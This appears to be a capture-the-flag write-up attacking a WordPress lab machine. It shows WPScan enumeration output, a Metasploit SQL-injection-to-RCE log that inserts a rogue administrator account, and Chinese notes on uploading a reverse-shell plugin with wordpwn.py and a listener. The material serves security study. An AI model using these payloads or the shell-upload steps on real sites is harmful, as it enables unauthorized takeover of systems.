WordPress Security Scanner by the WPScan Team Version 3.8.27 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________
[i] It seems like you have not updated the database for some time.
[+] URL: http://mamushka.hmv/ [192.168.56.105] [+] Started: Sat May 24 09:29:05 2025
[+] XML-RPC seems to be enabled: http://mamushka.hmv/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://mamushka.hmv/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://mamushka.hmv/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299
Fingerprinting the version - Time: 00:00:09 <==================================================================================================================================> (700 / 700) 100.00% Time: 00:00:09 [i] The WordPress version could not be detected.
[+] WordPress theme in use: twentytwentyfour | Location: http://mamushka.hmv/wp-content/themes/twentytwentyfour/ | Last Updated: 2024-11-13T00:00:00.000Z | Readme: http://mamushka.hmv/wp-content/themes/twentytwentyfour/readme.txt | [!] The version is out of date, the latest version is 1.3 | Style URL: http://mamushka.hmv/wp-content/themes/twentytwentyfour/style.css | Style Name: Twenty Twenty-Four | Style URI: https://wordpress.org/themes/twentytwentyfour/ | Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti... | Author: the WordPress team | Author URI: https://wordpress.org | | Found By: Urls In Homepage (Passive Detection) | | Version: 1.2 (80% confidence) | Found By: Style (Passive Detection) | - http://mamushka.hmv/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.2'
msf6 exploit(multi/http/wp_automatic_sqli_to_rce) > set VERBOSE true VERBOSE => true msf6 exploit(multi/http/wp_automatic_sqli_to_rce) > run [*] Started reverse TCP handler on 192.168.56.103:4444 [*] Running automatic check ("set AutoCheck false" to disable) [-] Exploit aborted due to failure: unknown: Cannot reliably check exploitability. "set ForceExploit true" to override check result. [*] Exploit completed, but no session was created. msf6 exploit(multi/http/wp_automatic_sqli_to_rce) > set ForceExploit true ForceExploit => true msf6 exploit(multi/http/wp_automatic_sqli_to_rce) > run [*] Started reverse TCP handler on 192.168.56.103:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Attempting SQLi test to verify vulnerability... [!] The target is not exploitable. Target is not vulnerable or the SQLi test failed. ForceExploit is enabled, proceeding with exploitation. [*] {SQLi} Executing (SELECT 17 FROM information_schema.tables WHERE table_name = 'wp_users') [*] {SQLi} Encoded to (SELECT 17 FROM information_schema.tables WHERE table_name = 0x77705f7573657273) [*] {SQLi} Time-based injection: expecting output of length 0 [*] {WPSQLi} Default prefix not found, attempting to detect custom table prefix... [*] {SQLi} Executing (SELECT LEFT(table_name, LENGTH(table_name) - LENGTH('users')) FROM information_schema.tables WHERE table_schema = database() AND table_name LIKE '%\_users' AND (SELECT COUNT(*) FROM information_schema.columns i WHERE i.table_schema = tables.table_schema AND i.table_name = tables.table_name AND i.column_name IN ('user_login', 'user_pass') ) = 2 LIMIT 1) [*] {SQLi} Encoded to (SELECT LEFT(table_name, LENGTH(table_name) - LENGTH(0x7573657273)) FROM information_schema.tables WHERE table_schema = database() AND table_name LIKE 0x255c5f7573657273 AND (SELECT COUNT(*) FROM information_schema.columns i WHERE i.table_schema = tables.table_schema AND i.table_name = tables.table_name AND i.column_name IN (0x757365725f6c6f67696e, 0x757365725f70617373) ) = 2 LIMIT 1) [*] {SQLi} Time-based injection: expecting output of length 2 [*] {WPSQLi} Custom table prefix detected: 'Ep' [*] {SQLi} Executing (INSERT INTO Epusers (user_login, user_pass, user_nicename, user_email, user_registered, user_status, display_name) SELECT 'myift.123', MD5('myift.123'), 'myift.123', 'krysten_schuster@pfannerstill.example', user_registered, user_status, 'myift.123' FROM Epusers WHERE NOT EXISTS ( SELECT 1 FROM Epusers WHERE user_login = 'myift.123' ) LIMIT 1 ON DUPLICATE KEY UPDATE user_pass = MD5('myift.123'), user_nicename = 'myift.123', user_email = 'krysten_schuster@pfannerstill.example', display_name = 'myift.123') [*] {SQLi} Encoded to (INSERT INTO Epusers (user_login, user_pass, user_nicename, user_email, user_registered, user_status, display_name) SELECT 0x6d796966742e313233, MD5(0x6d796966742e313233), 0x6d796966742e313233, 0x6b72797374656e5f7363687573746572407066616e6e65727374696c6c2e6578616d706c65, user_registered, user_status, 0x6d796966742e313233 FROM Epusers WHERE NOT EXISTS ( SELECT 1 FROM Epusers WHERE user_login = 0x6d796966742e313233 ) LIMIT 1 ON DUPLICATE KEY UPDATE user_pass = MD5(0x6d796966742e313233), user_nicename = 0x6d796966742e313233, user_email = 0x6b72797374656e5f7363687573746572407066616e6e65727374696c6c2e6578616d706c65, display_name = 0x6d796966742e313233) [*] {WPSQLi} User 'myift.123' created or updated successfully. [*] {SQLi} Executing (INSERT INTO Epusermeta (user_id, meta_key, meta_value) SELECT ID, 'Epcapabilities', 'a:1:{s:13:"administrator";s:1:"1";}' FROM Epusers WHERE user_login = 'myift.123' ON DUPLICATE KEY UPDATE meta_value = 'a:1:{s:13:"administrator";s:1:"1";}') [*] {SQLi} Encoded to (INSERT INTO Epusermeta (user_id, meta_key, meta_value) SELECT ID, 0x45706361706162696c6974696573, 0x613a313a7b733a31333a2261646d696e6973747261746f72223b733a313a2231223b7d FROM Epusers WHERE user_login = 0x6d796966742e313233 ON DUPLICATE KEY UPDATE meta_value = 0x613a313a7b733a31333a2261646d696e6973747261746f72223b733a313a2231223b7d) [*] {WPSQLi} Admin privileges granted or updated for user 'myift.123'. [-] Exploit aborted due to failure: unexpected-reply: Failed to log in to WordPress admin. [*] Exploit completed, but no session was created.
这里要获得shell可以上传恶意插件例如我们直接上传一个压缩后的反弹shell恶意文件
上传后直接直接激活即可得到shell我们可以直接利用wordpwn.py
✅ 使用流程 ① 执行脚本
python wordpwn.py 192.168.0.6 8888 Y
192.168.0.6 是你的监听 IP；
8888 是监听端口；
Y 表示自动启动 Metasploit Handler（相当于执行了 msfconsole -x use exploit/multi/handler ...）。
